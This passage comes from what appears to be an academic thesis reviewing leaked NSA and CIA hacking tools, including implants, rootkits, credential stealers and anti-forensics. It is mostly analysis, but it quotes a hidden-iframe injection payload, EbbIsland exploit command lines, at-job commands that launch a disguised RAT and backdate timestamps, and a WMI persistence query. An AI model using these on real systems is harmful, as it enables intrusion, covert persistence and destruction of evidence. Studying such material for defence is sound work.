the nearby presence of a hardware implant. Potential future enhancements were to include
GPS co-ordinates, a unique ID and automatic scanning and processing of an area.
As an example of a recording device, LoudAuto, is a very small, low power yet high gain
microphone which includes an RF retro-reﬂector (NSA, 2009d). Audio is converted into an
analogue signal, which pulse position modulates a square wave signal. When illuminated
with a CW by a radar unit, the illuminating signal becomes amplitude modulated by
the square wave signal. The re-radiated signal is picked up by the radar where it can
be post-processed using commercially available spectrum analysers that have FM radio
demodulation functionality.
RF retro-reﬂector designs depend on being illuminated by a CW from a radar unit which
then detects the re-radiated signal. NSA (2008f) states that the CTX4000 is a portable
radar unit used for illuminating target systems with a continuous wave. The unit fea-
tured 45 MHz bandwidth in the 1 - 2 GHz range and up to 2 Watt power output before
external ampliﬁcation. This allowed information to be extracted without network access.
Due to reaching the end of its service life in late 2009 it was due to be replaced with
the PhotoAnglo unit, a joint NSA / GCHQ project (NSA, 2008a). While the mode of
operation is the same as the previous unit, the replacement featured a much increased
bandwidth of 450 MHz (suitable for high bandwidth video signals (GBPPR, 2014)) and
a frequency range intended to be extended up to 4 GHz. Received signal is sent to a
processing system, e.g., NightWatch, LFS-2 or ViewPlate to extract the original captured
data.
To be able to view the original signal that modulated the illuminating CW radar signal
before it was re-radiated to the radar unit, it needs to be processed. NightWatch is
a shielded PC that contains digitising and clocking hardware used in reconstructing the
video signal (NSA, 2008y). Reconstruction entails adding back the horizontal and vertical
sync signals and frame averaging to improve the image quality. The video frames can be
viewed or captured for further analysis.
4.2 Shadow Brokers - NSA / Equation Group
This section contains a qualitative review of NSA tools and their documentation, which
date to as recently as September 2013, and were released by the Shadow Brokers from
2016 to 2017. The Shadow Brokers made no eﬀort to strip out meta information from
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Table 4.10: Room surveillance tools
Name Functionality Technique Properties USD Cost
TawdryYard Beacon RF reﬂector COTS, battery 30
LoudAuto Audio RF reﬂector COTS, battery 30
CTX4000 RF Illumina-
tion
Continuous
wave radar
Unknown
PhotoAnglo RF Illumina-
tion
Continuous
wave radar
Est 40k
NightWatch Processing,
video recon-
struction
Digitising &
clock hardware
Unknown
documents which could be used to reveal the identity of their authors. For an example of
this, see Listing A.1.
4.2.1 OddJob
Two sources of potential information were included in the OddJob leak. The ﬁrst source
was internal documentation in the form of a user guide and testing documentation which
is described below. The second source was a set of binary ﬁles constituting the implant
and some payloads. This aﬀorded the opportunity of reverse engineering these binaries
to gain a more in depth understanding of the attack techniques employed in this implant
and presented in Chapter 5, for example, evading detection by using OS functionality in
Subsection 5.3.1.
In the OddJob user guide written by Jones et al. (2012), it is described it as a software
implant that beacons home. The guide provides instructions for setting up IIS 7 on
Windows 2008 as a Listening Post (LP) for OddJob. It speciﬁed that it had been tested
against numerous Windows versions and supported HTTPS for Windows Vista, 7 and
2008 while Windows XP and 2003 only supported HTTP. It explained that when the
implant sends a base64 encoded beacon to the LP server it will pull the available payload
(if any) and execute it on the host machine. The guide also states that the implant is
capable of uploading a ﬁle of a speciﬁed ﬁle-name when beaconing home. It cautions
against conﬁguring the implant to beacon home too frequently as that would result in it
being discovered. The testing documentation revealed that the implant was not detected
as a virus by anti-virus software.
In order to understand what function the payloads performed and how it was achieved, the
smaller payloads were viewed with a hex editor and some larger payloads were analysed
using the radare2 software reverse engineering framework.
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Of the four sample payloads that had been created, one was a process list command. By
examining the process_list.bin sample payload it was found to be only 15 B and when
opened with a hex editor only one of the bytes was non-zero. This implies that the
value is merely a ﬂag for a predetermined function which returns the process listing. A
similar pattern was observed in the three other 14 B payloads, one_minute_beacon.bin,
two_minute_beacon.bin and ﬁve_minute_beacon.bin where each contained a single, dif-
fering non-zero byte to specify the interval at which the beacon message woudl be sent.
A larger payload which, based on its name of OJ_Deleter_2.4.exe, was intended to delete
the implant, measured 4 KB. This ﬁle was examined with a debugger which showed that it
used the built in OS functionality to delete a ﬁle: sym.imp.KERNEL32.dll_DeleteFileW
By using a debugger to examine the two DLL ﬁles of 7.5 KB (64bit) and 8 KB (32bit),
it was found that they were also using built-in OS functionality, this time to return the
system time:
call sub.KERNEL32.dll_GetSystemTimeAsFileTime_ ;
void GetSystemTimeAsFileTime(LPFILETIME lpSystemTimeAsFileTime)
4.2.2 Trick or Treat
The Trick or Treat release appears to show a collection of 304 servers across 45 country
speciﬁc and three non-geographic Top-Level Domains that have been compromised with
a selection of eight implants as part of two projects.
Exploits
Outside of the ﬁles in the two projects mentioned above which reveal it to only have been
used for Solaris, Patchicillin has only a single reference in autopccheck.
The Reticulum implant has only one mention in Linux/bin/pyside/trigger_ret.py
and comparing this to Linux/bin/pyside/trigger_side.py shows several diﬀerences
between SideTrack and Reticulum. Reticulum appears to pre-date SideTrack as it has
a version number of 1.0 versus 2.0, takes one less command line option and does not
import the crypto nor use it to create a random port.
SideTrack is revealed to be an implant that accepts commands over UDP and is used to
trigger Incision in bin/pyside/OpRedrection.py. For information on the classes and
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functionality in pyside/base.py see Listing B.12. From the commands included in the
implant it appears to be intended to insert Domain Name System (DNS) rules and redirect
network traﬃc. For the available commands and info in Linux/bin/pyside/sidetrack.py
see Listing B.14.
JackLadder is a tool that can be used to upload nopen to a target system. It wraps the
netcat utility in a script that uses a random network port (see Appendix B.3). It can
also be used with the jackpop port redirector, jacktelnet.sh and jackin.sh scripts
(see Appendix B.4).
Orangutan is a Solaris implant that replaces fdfs and sparcv9/fdfs in /usr/kernel.
For more details see Appendix B.5.
tunnel1 is a wrapper script used to set up incision tunnels to incision hosts in-
dicating that it is a means for providing network access. Incision can be upgraded
to StoicSurgeon, which entails triggering Incision to self-destruct before installing
StoicSurgeon2.
The StoicSurgeon implant targets many Linux distributions as well as JunOS, FreeBSD
and Solaris versions across the PowerPC, Sparc and both 32 and 64 bit x86 CPU ar-
chitectures3. It contains a self-destruct mechanism if any ﬁle or directory that it has
cloaked or hidden is accessed by name by an unprivileged process. To verify functioning
once installed, it is triggered via DewDrop4. The DewDrop trigger is able to use the new
tipoﬀ feature which allows for the binary to be uploaded without the use of shellcode (see
Appendix B.2).
4.2.3 Unix Network Penetration
The Linux opscript (NSA, 2008) consists of a total of 12000 lines, with approximately one
third comments and the remainder shell commands. The opscript is basically a "Hack by
numbers" guide. The last 10% of lines are the original "hand tasking" (manual hacking)
methods.
A typical operator of Unix systems is a Mobile Network Operator. The opscript contains
instructions to search for data available on the systems of such operators, e.g., Call Data
1https://github.com/x0rz/EQGRP/blob/master/Linux/bin/tunnel
2https://github.com/x0rz/EQGRP/blob/master/Linux/doc/old/etc/user.tool.linux_remove_
in_install_ss.COMMON
3https://github.com/x0rz/EQGRP/blob/master/Linux/up/stoicctrls.tar/stoicctrls
4https://github.com/x0rz/EQGRP/blob/master/Linux/doc/old/etc/user.tool.stoicsurgeon.
COMMON
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Record (CDR) data, International Mobile Equipment Identity (IMEI) to IMSI associations
and Cell ID to MSC addresses as shown below:
### CDR data storage; Once you identify the location of the data, you'll
### checks for IMEIs that have more than one \gls{imsi} associated with it:
### generates a list of Cell IDs associated with each MSC address:
Manual Hacking Methods
Due to its earlier origins and smaller size, the original hand tasking was examined ﬁrst
to provide an introduction as to how target systems are tasked or hacked. Two of the
previously secret tools used to exploit information systems, SecondDate and EbbIsland
are described below.
The SecondDate command and control server can be used manually, with the documen-
tation5 providing example instructions for the user to conﬁgure the inject ﬁle, starting
with the HTTP information and tag, as shown below:
HTTP/1.1 200 OK
Pragma: no-cache
Content-Type: text/html
Cache-Control: no-cache,no-store
<inject_file_begin>
<html><meta http-equiv="refresh" content="0"><body><iframe
src="<REPLACE_WITH_URL_TO_USE>"height="1" width="1" scrolling="no" frameborder="0"
unselectable="yes"marginheight="0" marginwidth="0"></iframe></body></html>
↪→
↪→
<inject_file_end>
It continues by explaining that regular expressions to be passed to implants need to be
stored in ﬁles without any extraneous characters or carriage returns and provides two
examples of how to achieve this:
vi -b -c "set noeol" <filename>
# or
echo -n <regex> > <filename>
5https://github.com/misterch0c/shadowbroker/blob/master/Linux/doc/old/etc/user.tool.
seconddate.COMMON
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Examples of rules which specify the IP address, network mask and port of the target, the
maximum number of injections, the injection window, regex ﬁle and the injection ﬁle are
then provided.
1 rule 1 --srcaddr <target_network_address> --srcmask 255.255.255.0 --dstport 80
--maxinjections 10 --injectwindow 600 --nocheckregex --injectfile pkt↪→
2 rule 1 --dstport 80 --maxinjections 2 --injectwindow 600 --regexfile <regex_file_1>
--injectfile pkt↪→
The SecondDate tool allows for the rules to be listed and enabled or disabled on an
individual basis. Rules can also be checked for hits and the log can be checked, fetched
or cleared.
The EbbIsland tool is used to target Solaris versions 2.6 through 2.10. It does so by
targeting a vulnerable RPC service, bootparam, with shellcode to provide a root shell
account.
Noteworthy functionality includes load instead of a core ﬁle scramble option. This runs the
attack but substitutes the shell code payload with random data to overwrite the previously
generated core ﬁle with one that contains innocuous content. The stated intention was
to allow the operator to remove traces of failed attempts to access the system.
It can be used with a port redirector and a general usage example, followed by a Solaris
2.9 speciﬁc example are provided:
1 -tunnel
2 l <RHP> <TARGET IP> <BOOTPARAM_TCP_PORT>
3 l 32794 10.40.1.2 32790
4 ./ebbisland -t <REDIRECTOR_IP> -p <REDIRECTOR_PORT> -r
<TARGET_RPC.BOOTPARAMD_PROGRAMNUMBER> -X -N -A <SPECIFIC_SHELLCODE_ADDRESS>↪→
5 ./ebbisland -t 127.0.0.1 -p 32794 -r 100026 -X -N -A 0x6e908
Once root shell access has been gained following successful use of the tool, the packrat6
tool can be used to package the Remote Access Trojan (RAT) binary, noserver7 by
renaming it to sendmail before compressing, uuencoding it and making it available for
upload. For more details see Appendix B.9.
6https://github.com/adamcaudill/EquationGroupLeak/tree/master/Linux/bin/packrat
7Linux/up/noserver
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Checking the morerats sub-directory revealed that 32 bit noserver binaries were available
for Apple Darwin (x86), AIX (RS/6000 v3.1), FreeBSD (x86), HPUX (PA RISC1.1) and
Solaris (SPARC and x86).
The opscript reveals that packrat is meant to be used in conjunction with a port redirector
via nstun. This provides access to packrat running on the hacker's local machine.
The EbbIsland tool notes state that the method to launch the noserver binary (renamed
as sendmail) is to use the at command with the now option before changing the timestamps
of the at jobs and verifying that they have been changed to remove the signs of when the
at job was created to launch the application (NSA, 2010).
1 # EXPLOIT WINDOW (CREATING AT JOB)
2 echo "PATH=. D=-ulrandom11111-55555-2 sendmail" | at now
3 netstat -an | grep random11111-55555-2
4
5 # TOUCH THE ATJOBS FILE BACK TO BEFORE TIME
6 touch -r x /var/spool/cron/atjobs
7
8 # VERIFY TIMES FROM BEFORE
9 ls -lart /var/spool/cron
10 ls -lart /var/spool/cron/atjobs
A section on cleaning implores the hacker to use the correct exploit for the target architec-
ture to avoid the target RPC daemon from aborting, core dumping and logging heavily.
This is explained in more detail by the EbbIsland tool notes, which list the /core direc-
tory in addition to the /var/adm/messages log ﬁle as sources of evidence to be cleaned
up. Both the opscript and tool guides advocate using the -C option to clean up core ﬁles.
4.3 CIA Hacking Techniques
The CIA had a large cache of their hacking tools revealed in a Wikileaks dump by the
name of Vault 7. The dump started releasing redacted documents in March 2017. The
ﬁles and Intranet pages with their comments have date-stamps extending into February
and March 2016.
All the word-processor documents had been converted into PDF format. The meta-data
of all the PDF documents has been stripped out and displayed only minimal information
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as per an example ﬁle in Listing A.2. For a comparison of the available meta-data of the
original version of this ﬁle see Listing A.3, which contains far more information.
These tools and techniques provide examples of attacker approaches presented in Chapter
5, for example, evading detection through the use of anti-forensics in Subsection 5.3.2,
obfuscation in Subsection 5.3.5 as well as encryption and operational security in Subsec-
tion 5.3.4. Additional examples also provide evidence of attackers attacking technology
through ﬁnding exploitable ﬂaws in Subsection 5.2.1 and privilege escalation in Subsection
5.2.1.
4.3.1 CIA Tools and Techniques
This section presents the list of CIA tools from the Vault 7 releases for which not much
information was available and therefore these tools were only examined and written up
in a brief format.
Covertness
AngelFire is an implant that consists of ﬁve components. The ﬁrst is Solartime which
modiﬁes the partition's boot sector to load the second component, the Wolfcreek kernel
device driver. Wolfcreek is able to load other drivers and applications in user space.
Keystone is used to start the applications. Implants are loaded directly into memory and
due to not ever residing on the ﬁle-system, the forensic footprint is drastically reduced
(CIA, 2014a).
The fourth component is BadMFS which stores all the driver and implant ﬁles that WolfCreek
will load to a maximum size of 200 MB. The ﬁnal component is the Windows Transitory
File-system which allows its operator to create transitory ﬁles to facilitate installation of
AngelFire or the addition or removal of ﬁles from AngelFire.
Even with the reduced forensics footprint the implant made use of a registry key to store
BadMFS parameters, the BadMFS ﬁle-system and boot code in the boot sector and container
ﬁle. The installer can be either a standalone exe with administrator privileges or a DLL
targeting a process that runs with administrator privileges.
BadMFS is a clandestine ﬁle-system which is created in unpartitioned space (if there is any)
on storage devices (minimum space required is 2 MB) or within a ﬁle on the ﬁle-system
as per CIA (2009a). The ﬁle-system is unencrypted with the result that applications
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that use it need to encrypt their data within the ﬁles they create and make sure to use
nondescript ﬁle-names.
The authors further state that to ensure covertness, BadMFS has a Cleanup function which
attempts to delete dynamic memory and empty its data structures as well as a Scramble
which XORs the buﬀer contents. The Uninstall function wipes the BadMFS volume by
overwriting it with zeros.
Unpartitioned space can be put to nefarious use. Free and or slack space on a legitimate
ﬁle-system can also be utilised by attackers for storage.
Credential and Data Theft
BothanSpy targets XShell on Windows to steal credentials i.e. user names and passwords
for password based authentication and private keys and their passwords when using public
key authentication (CIA, 2015b).
The authors detail two modes, the default mode, Fire and Collect, never writes to disk but
transmits the data in encrypted form over a pipe to the attacking system. The second
mode termed, Fire and Forget, stores the credentials on the target machine encrypted
using AES-256 encryption.
Gyrfalcon targets the OpenSSH client on Linux systems to steal credentials and record
session traﬃc, all of which is written to disk in encrypted format. It was designed to
be protected by the rootkit, JQC/KitV. The encrypted ﬁles can be collected once they
have reached the conﬁgured collection size or if the collection is triggered manually (CIA,
2013c).
ExpressLane copies the biometric data to a hidden partition on a watermarked ﬂash drive
while it pretends to upgrade the Biometric software. It can also be installed before the
biometric system is delivered to the liaison service (CIA, 2009b). The authors further
state that the software has a conﬁgurable kill date (default is six months). Inserting a
watermarked thumb drive can reset the kill date. This causes the biometric software to
stop working which induces the Liaison to call the agency to ﬁx the software.
Pterodactyl is a small embedded device based on either Gumstix, Raspberry Pi or Cotton
Candy hardware with the purpose of copying ﬂoppy disks onto an SD card contained
inside the device. The use of interdiction to install the device within the ﬂoppy drive was
considered (CIA, 2013e).
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Video and Audio
CouchPotato is a remote tool that collects video streams. It can capture as either video
or still frames that are markedly diﬀerent from previous frames. While the handler and
the loader are intended to be run from a *nix system, the CouchPotato ICE DLL is to be
injected into a non-critical process on a target Windows system that can send and receive
data from the system that serves the content, e.g., an IP camera (CIA, 2014b).
The authors caution that the CPU usage of the injected process can rise substantially,
e.g., to between 50 an 70% of a CPU core. A further problem is that the ICE DLL can
exit ungracefully, leak memory and leave ﬁle handles open. This is why only a non-critical
process should be targeted for injection.
CIA (2015a) states that Dumbo renders a target machine blind, deaf and dumb by disabling
all cameras microphones, and network adapters. It also stops the processes using the
camera device and highlights the video ﬁles so that the operator can corrupt or delete
them. This highlights the need for physical security and sending ﬁles, e.g., of important
frames, to secure remote systems.
Mac OS X Trojans and Rootkits
Achilles allows for inserting a trojan into a Mac OS X .dmg (disk image) install ﬁle. The
trojan payload is only executed when the trojanned application is ﬁrst run whereafter it
is deleted rendering the application un-trojanned (CIA, 2011a).
SeaPea is a rootkit for OSX that hides processes, socket connections, ﬁles and directories.
It is installed using a shell script which is generated by a Python script and relies on the
iTunesWorkerSystem bash script to launch commands and tools when the system boots
up (CIA, 2011b).
The authors state that the rootkit will persist unless it detects that it is no longer func-
tioning correctly (i.e. if it causes three consecutive kernel panics or if the hiding is not
working), the OS is upgraded to the next major version or the drive is formatted. If
deleted, it will persist in memory until reboot.
Processes are categorised as either normal which are not hidden, elite which are hidden
from normal and elite processes or super-elite which are hidden from normal and elite
but not super-elite processes and can therefore see all processes. Only elite processes may
become super-elite. Child processes inherit their category from their parents. Commands
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are run as elite processes and use a command such as touch to trigger the open system call
to run the rootkit commands. The multi-layer hierarchical structure provides ﬂexibility
in determining what processes are hidden from other processes.
Files and directories can be speciﬁed to be hidden from non-elite processes. Network sock-
ets and ports started by elite or super-elite processes are hidden from all but super-elite
processes. While Little Snitch8 does not ﬂag super-elite processes, its Network Monitor
window will display the process name and URL meaning that processes and must be given
innocuous names. The authors conclude that the rootkit does not run in single user mode
resulting in the processes, ports, ﬁles and directories not being hidden. If the drive is
accessed from another computer then the ﬁles and directories will not be hidden.
Unix Implants
Aeris is an implant for various Linux distributions, FreeBSD and Solaris versions. It
has conﬁgurable intervals with jitter for beaconing, support for SMTP and mutually
authenticated TLS for communications. In addition to the deployment and installation
having been made easy and conﬁgurable, ﬁle exﬁltration is automated and the command
and control method is much like that used for other implants (CIA, n.d.).
The authors explain that Aeris begins as an unpatched binary per target platform and a
collection of Python scripts which add conﬁguration settings to the binary ﬁles rendering
them deployable (i.e. there are no installer or separate conﬁguration ﬁles). They continue
that the (installer, certiﬁcate, private key and Apache conﬁguration) ﬁles necessary to
conﬁgure the LP are generated along with human readable receipt ﬁles.
Commands to be executed by the implant are encrypted using the receipt ﬁles before
being placed on the LP server in a directory speciﬁc to the implant instance. Implants
only execute commands while there is a task on the LP and will remain silent (not even
beaconing) if there is not.
Good Operational Security (OpSec) is counseled by the authors who state that builder
scripts should remain high side (on a secure network) while their unclassiﬁed output of
patched binaries with keys and conﬁguration can be deployed on the low side, e.g., the
LP.
All communication is encrypted using HTTPS with each instance of the implant having
a unique CA that has signed the certiﬁcates (both are 2048 bits) of both the implant and
8https://www.obdev.at/products/littlesnitch/index.html
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the LP. Implants fetch commands from the LP with an HTTPS GET and after executing
the commands will encrypt the collected data before uploading it with an HTTPS POST.
As the CA private key (2048 bit RSA) resides only on the high side, it is not possible to
decrypt the data even if the LP is captured. To decrypt the ﬁle it must be copied to a
high side system.
Additional examples of OpSec include that the implant is designed to uninstall itself
on receiving a command to do so, when it reaches a preconﬁgured uninstall date or
if it has failed to successfully beacon to the LP for a pre-conﬁgured number of seconds.
Uninstallation entails writing psuedo-random data over the implant's task ﬁles (containing
commands), conﬁguration ﬁle and binary, then deleting these ﬁles before exiting the
running process.
When communicating with the LP, the implant identiﬁes itself with a unique identi-
ﬁer consisting of the build time identiﬁer combined with the sorted names of the NICs
present on the implanted system. The implant is able to communicate with either a stan-
dalone CGI LP or a Collide handler Python package as part of the Collide Automated
Implant Command and Control system.
Other
Flash Bang provides a means to escape from an IE browser sandbox, perform a privilege
escalation and load a DLL into memory to gain persistence, e.g., Grasshopper, Anthill or
Assassin. It is loaded into the sandbox process via ShellTerm which is itself loaded via
an IFRAME inside a malformed MHT ﬁle sent to the target (CIA, 2015b).
Highrise is an SMS proxy service that can send and receive SMS via the Android phone
that it is installed upon while communicating with the LP server over a TLS/SSL en-
crypted data connection (CIA, 2013d).
OutlawCountry is a Linux kernel module that adds a secret netfilter table on a target
system that has a NAT ﬁlter table. This table creates new rules that supersede existing
rules and are only visible if the table name is known. By creating the table with an
obscure name this renders it eﬀectively invisible. For OpSec purposes the kernel module
is removed once the rules have been loaded (CIA, 2015).
By taking advantage of lack of transparency in the netfilter operation, the attacker
achieves covertness through obscurity; i.e., if the defender was able to list all the tables
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and all the rules for all the tables, that would expose the custom rules added by the
attacker.
Elsa performs GeoLocation via existing third party Wiﬁ SSID databases, e.g., those
collected and maintained by Google and Microsoft. The Elsa client is injected using DLL
injection into an existing system process. It can run as a service inside SvcHost, inside
DllHost as a scheduler task, as a rundll32 utility or in a speciﬁed process as an AppInit
Dll. It contains no strings that bely its purpose (CIA, 2013b).
The authors explain that it monitors the MAC addresses and BSSIDs of APs and requests
an updated location when either of these changes. The locations are written in an AES
128 encrypted output to a log ﬁle on the target system. Log entries are small with 44
bytes per AP and 56 bytes per location i.e. less than 1 KB would be required to store 20
APs and a location.
4.3.2 Malware Analysis and Proof of Concepts
CIA (2015c) writes that analysing third party malware, e.g. from the Hacking Team
source dump, allows them to learn from and leverage oﬀ the existing work. They can
also gain ideas from conferences, e.g., BadUSB from Blackhat and existing devices, e.g.,
USBRubberDucky that began keystroke injection attacks (CIA, j).
To aid in Reverse Engineering (RE) (CIA, 2014a) recommends using the NSA created
Ghidra, the commercial RE tool IDA Pro, the open source Cuckoo Sandbox for perform-
ing dynamic and static analysis of malware and the signature analysis / attribution tool
Incandescent Mind. Examples of using Ghidra include analysing 64-bit kernel cache
(CIA, 2014b) and to defeat for RE, the code that locks the ﬂashing of ﬁrmware (CIA, d).
A cache of 44 documents including 37 assessments by Raytheon Blackbird Technologies
(see Listing A.4, Malware Analysis and Proof of Concept (PoC) documents by Raytheon
Blackbird Technologies 1 of 2) that are for the "SIRIUS Task Order PIQUE". The
assessments detailed the analysis of third party malware as well as PoC implementations
for some techniques used therein.
These PIQUE assessments appear to be intended for the CIA's Umbrage team (CIA,
2015d), which as stated by CIA (2015c), maintains a component library of techniques
copied from malware with the goal of providing pieces of functional code that can be
quickly assembled into custom tools, thereby saving the cost of building tools containing
many features.
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Not all techniques were considered viable for PoC implementation. For example, Raytheon
Blackbird Technologies (2015a) states in its analysis of the Butterﬂy Attackers that no
PoC was recommended as the JRE vulnerability CVE-2013-0422 had been patched and
the other techniques used, e.g., OSX.Pintsized, Backdoor.Jiripbot and Hacktool.Proxy.A
were all tools that were already well-known.
Similarly, Raytheon Blackbird Technologies (2015b) states that the Cozy Bear campaigns
are not recommended for a PoC as they consist of well-known techniques for spear-phishing
emails which induce the user to download and execute a loader from a compromised
website which then downloads a second stage dropper to extract and execute the payload.
Direct Kernel Object Manipulation (DKOM) was initially recommended as a PoC by
Raytheon Blackbird Technologies (2014a) which explained that the technique can hide
processes, ﬁles and drivers from both the Windows system task manager and event sched-
uler. It does this by manipulating the backward and forward pointers of adjacent processes
to point to each other rather than the process in the middle which is to be hidden. The au-
thors also highlighted the fact that there were known methods of detecting this technique
and even provided sample code to do so.
In their interim update, Raytheon Blackbird Technologies (2014b) state that they targeted
Windows 8.1 as it would have a longer remaining lifespan than earlier versions. They
created a DKOM device driver which loaded successfully and a user application which
produced a BSOD during testing.
The ﬁnal update by Raytheon Blackbird Technologies (2015c) states that although they
bypassed Address Space Layout Randomization to modify pointers in the kernel, Mi-
crosoft had removed the NtQuerySystemInformation() function which provided the NT
KernelBase Image address which was in turn used to ﬁnd the address of the Kernel Pro-
cessor Control Region (KPCR), from Window 8.0 and was unavailable in the replacement
function. This rendered the original approach unworkable and thus beyond the scope of
a PoC. However, they recommended that a project be created to pursue another route of
detailed examination of the kernel structures in an attempt to discover an undocumented
means of obtaining the KernelBase and KPCR.
4.3.3 Marble Framework
Marble Framework is a tool by CIA (2015) that obfuscates strings in binaries which can
be used by security researchers to distinguish whether a piece of malware comes from a
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particular developer. By randomly changing the strings and/or data in the source code
the signature of the resulting binary will be eliminated or reduced to thwart attribution
to an individual develop or group (CIA, 2015).
The framework also supports swapping out string characters with those of diﬀerent lan-
guages and includes ﬁve examples: Arabic, Chinese, Russian, Korean and Farsi as shown
in Appendix F.1. In addition, it supports debugging of previously obfuscated code through
the use of its Mender sub-module which undoes the string scrambling as per Appendix
F.2.
4.3.4 Hive Implant and Handler
The Hive Users Guide describes it as a software implant that provides limited beaconing
and an interactive shell functionality to provide an initial foothold to facilitate further
compromise. While earlier versions also targeted Windows and Solaris the later versions
targeted only AVTech NVR network recorders, Linux, and Mikrotik and Ubiquiti routers.
Before deploying the implant, the Blot/Swindle proxy server must be set up with the Hive
tool identiﬁer (0x65ae82c7). The implant can be patched to change beacon initial delay,
interval and jitter as well as the proxy server IP address and port, amongst others. It is
triggered by sending the raw UDP or TCP triggers to any UDP or TCP port, respectively,
on the target system. Hive implantation was achieved with various methods, e.g., Chimay-
Red was used to exploit MikroTik routers and Mealybug was used for AVTech NVRs. The
Hive implant communicates with the client over SSL and requires three ﬁles, server.cey,
server.crt and ca.crt to be present in the client directory. At some point the attackers
forged a certiﬁcate issued to Kaspersky (CIA, 2010). Due to the large number of Hive
implant deployments remotely upgrading them is facilitated by the hiveReset_v1_0.py
script which grabs the password ﬁle for Mikrotik routers (see Appendix G.1) and upgrades
implants singly or in batch (Russell et al., 2014).
The Hive Developers Guide provides information on work done to it. After the Advanced
Forensic Division of the IOC/ECG was able to create signatures for the DNS, Trivial
File Transfer Protocol (TFTP), ICMP, TCP and UDP triggers, changes were made to
the ICMP, TCP and UDP triggers. The DNS and TFTP triggers were not modiﬁed due
to the text-based nature of their ﬁelds making obfuscation impracticable. The implants
possess a self-delete feature which activates after a preconﬁgured time-out of being unable
to beacon to its LP or receiving triggers from the command post (CIA, 2014).
Beacons from implants were designed to use a Blot Proxy server which would check
for a tool identiﬁer in the Hello packet before forwarding it to the Honeycomb tool-
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handler server. If no identiﬁer was found, it would forward the packet to the cover server.
Combined with its dropping of replayed packets this would certainly frustrate defenders
and security researchers. To further increase the diﬃculty of RE, the implant sets up an
SSL tunnel with the LP where-after they perform a Diﬃe-Hellman key exchange and the
shared key is used to set up a second layer of AES encryption (CIA, 2014).
Examining the source code of honeycomb/processRSI.py, it appears that the beacon
data is split across geographically dispersed IP addresses, e.g., Germany, Turkey, UK,
Iceland and Malaysia, and the post processing swaps out IP addresses with new ones
before writing out the beacon data to a ﬁle (see Appendix G.3).
4.3.5 UEFI/EFI
Attackers have targeted UEFI/EFI, e.g., the DerStarke and QuarkMatter implants target
the Apple EFI via ﬂash unlock and EFI system partition, respectively (CIA, 2015b).
It can also provide persistence (CIA, 2015), be used to unlock the ﬂash (CIA, d) and
hook into ExitBootService to gain access to the unprotected EFI_BOOT_SERVICES
table and kernel residing in memory (CIA, e). DerStarke is loaded onto the Macbook by
plugging in a Thunderbolt-to-Ethernet adapter, that contains the Sonic Screwdriver
mechanism in its ﬁrmware, and powering on the Macbook (CIA, 2012).
4.3.6 PowerShell and Windows Management Instrumentation
PowerShell can be used by attackers for multiple purposes including to achieve persistence
via a PowerShell startup script (CIA, n.d.) or in the case of RickyBobby, which provides
remote ﬁle upload, download and execution functionality on Windows systems. It is used
to download and execute .NET DLLS in memory to avoid detection by PSP (CIA, 2015a).
Using WMI as a persistence technique via the creation of a Managed Object Format ﬁle
that is installed into the WMI database which loads on startup, was recommended by
Raytheon Blackbird Technologies (2015d) and GrassHopper uses WMI for persistence
(CIA, 2016a).
New developers are instructed to use WMI to deploy a payload as many of their tools,
that are task speciﬁc, use other processes (CIA, 2015a) and need to be able to initiate
other tools. It can be used for multiple purposes, e.g. to get a list of all the Windows
updates that have been installed (CIA, g), to create a process (CIA, c) or for asynchronous
detection of when a process is created (CIA, l).
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A WMI event can be created that persists and triggers the execution of a command when
the uptime of the system reaches a certain value (CIA, k) by using WMI Query Language:
SELECT * FROM __InstanceModificationEvent WITHIN (polling interval) WHERE
TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND
TargetInstance.SystemUpTime >= (minimum uptime) AND TargetInstance.SystemUpTime <
(minimum uptime + polling interval)
↪→
↪→
↪→
4.3.7 Smartphone Hacking
Android being the most popular smartphone OS is targeted by attackers with numer-
ous exploits (CIA, 2015d). AngerManagement is a framework for exploiting Android that
consists of Hamr plugins that provide enumeration, information leakage, remote exploita-
tion, privilege escalation, non-persistent data collection and persistence via implants e.g.,
RoidRage (CIA, 2015e).
The RoidRage implant targets the system daemon rild as it has radio and root access
(CIA, h). It was used against the Samsung Galaxy Tab 2 GT-P3100 which was also
targeted with the Orion remote exploit and the Freedroid privilege escalation (CIA, f).
While some consider iOS devices as more secure than Android devices, they are also being
targeted by attackers, e.g. with exploits developed for iOS versions four through nine
(CIA, 2015; Attler, 2015) and holding yearly Triclops (US, UK and Canada) workshops
(CIA, 2015f).
The 2015 workshop provided, amongst others, a DHCP persistence technique, an editable
ﬁle executed by the music app at start, causing the parser for the bill of materials to
crash via fuzzing, a dump of all entitlements, a method of working around kernel guard
by modifying the page tables, using debugserver to execute unsigned code and being
able to get debug information via syslog (CIA, 2015c).
DrBoom is an implant targeting devices running iOS versions seven and eight, e.g. iPhone
versions three through seven, iPad versions two through ﬁve and even iPod version ﬁve
(CIA, 2015).
McNugget is a plugin for Mission Control that targets iOS with payloads that are usually
NightSkies installations. It entails using the mc_creator script to create a McNugget
conﬁguration ﬁle for Mission Control, then generating the payload with the solcreate
script and lastly using the mc_creator script with the server option and specifying the
payload from the preceding step as well as the directory containing the McNugget plugin
(CIA, 2015).
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4.3.8 Networked Device Reverse Engineering
Attackers can target IP phones by reverse engineering them. CIA (2013a) writes that the
phone has a webserver running on it that tries to execute (sic) any page requested from
it. To obtain initial root access to the phone, TinyShell (tsh) and a script to call it was
uploaded to the phone via TFTP. Requesting the script from the phone starts up the tsh
server which can be connected to with a tsh client resulting in remote root access.
To make the root shell access persistent, tsh was added to the start up script CIA (2013b).
Possible next steps were to use lsof and trace calls to the libc library. The use of lsof
assisted with the RE by highlighting SvcConﬁg processes which became the focus of
further RE eﬀorts (CIA, 2013c).
CIA (2015) writes that HarpyEagle is a project with the aim of gaining root access on
Apple Airport Extreme and Time Capsule in order to load a rootkit onto the ﬂash storage.
The project focused on ﬁnding access to the ﬁlesystem by examining the Apple Airport
Extreme and Time Capsule routers. Providing a DHCP and DNS server revealed that
the device performed many DNS lookups of various apple.com sub-domains (CIA, i).
Both the LAN and the WAN interfaces of both routers were scanned for open TCP and
UDP using nmap revealing several open on the LAN interface notably, TCP port 5009
which is used for airport-admin (CIA, 2015c). A packet capture was performed when
connecting to port 5900 on the Airport Extreme and the pre-encryption key exchange
was captured (CIA, b).
RE was performed on the ﬁrmware. This was extracted and output to a ﬁle using the
flashrom utility. The resulting ﬁle was parsed with the binwalk utility which identiﬁed
LZMA compressed data and some keys. Then these were extracted from the ﬁle using dd
utility. Next the gzboot header and decompressor was extracted with dd and disassem-
